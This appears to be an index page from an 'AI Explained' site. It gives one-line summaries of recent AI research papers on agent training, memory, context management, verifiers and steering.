AI Explained
Plain explanations of trending AI concepts, with live visualizations.
ToM2Vec paper — Continuous theory-of-mind tokens — What does it mean?
An agent predicts ten latent vectors of its partner's reasoning instead of writing a text guess.
CORD paper — Conflict-aware gradient projection — What does it mean?
CORD removes only the opposing part of the distillation gradient when it conflicts with the RL gradient, instead of just scaling it.
WeAct paper — Tool-called LoRA adapter switching — What does it mean?
WeAct makes switching LoRA adapters a tool call, so one frozen model changes skill per stage.
SWE-Critix — Verifier that returns a label and a rationale — What does it mean?
SWE-Critix trains a 30B verifier to return a pass/fail label plus a written reason for coding-agent runs: 57% to 78% accuracy.
LongHarness — Evidence-conclusion coevolution — What does it mean?
LongHarness lets open gaps steer retrieval, and keeps evidence outside the transcript where it can be revised.
CoPE trains agents to forecast their own next actions — Multi-step action forecasting — What does it mean?
CoPE adds multi-step action forecasting to agent RL, for denser signal and no inference cost.
KnowGPO — knowledge-grouped process rewards — What does it mean?
KnowGPO groups search rollouts by which facts they have found, then rewards each step for the new facts it adds.
RIKA admits agent memories only on evidence — Evidence-based memory admission — What does it mean?
RIKA keeps agent memory claims pending until feedback or later tasks corroborate them, aiming to keep unreliable notes out of context.
CarryOn context runtime — continuation carriers — What does it mean?
CarryOn keeps agent context as versioned state records and revises only what changed, halving tokens on OSWorld 2.0.
SkillScaffold injects skills only when they help — Policy-adaptive skill injection — What does it mean?
SkillScaffold injects a generated skill into agent RL training only when a likelihood replay says it helps.
Librarian Agents train builders to curate reusable workspaces — Precomputed agent workspace vs reactive retrieval — What does it mean?
Librarian Agents train a builder to precompute a reusable document workspace, then reuse it across queries instead of retrieving each time.
Learned steering supervisor — fast-path monitoring vs slow-path intervention — What does it mean?
A cheap fast path decides when to intervene; an RL-trained slow path decides how. Steering beats planning and verification.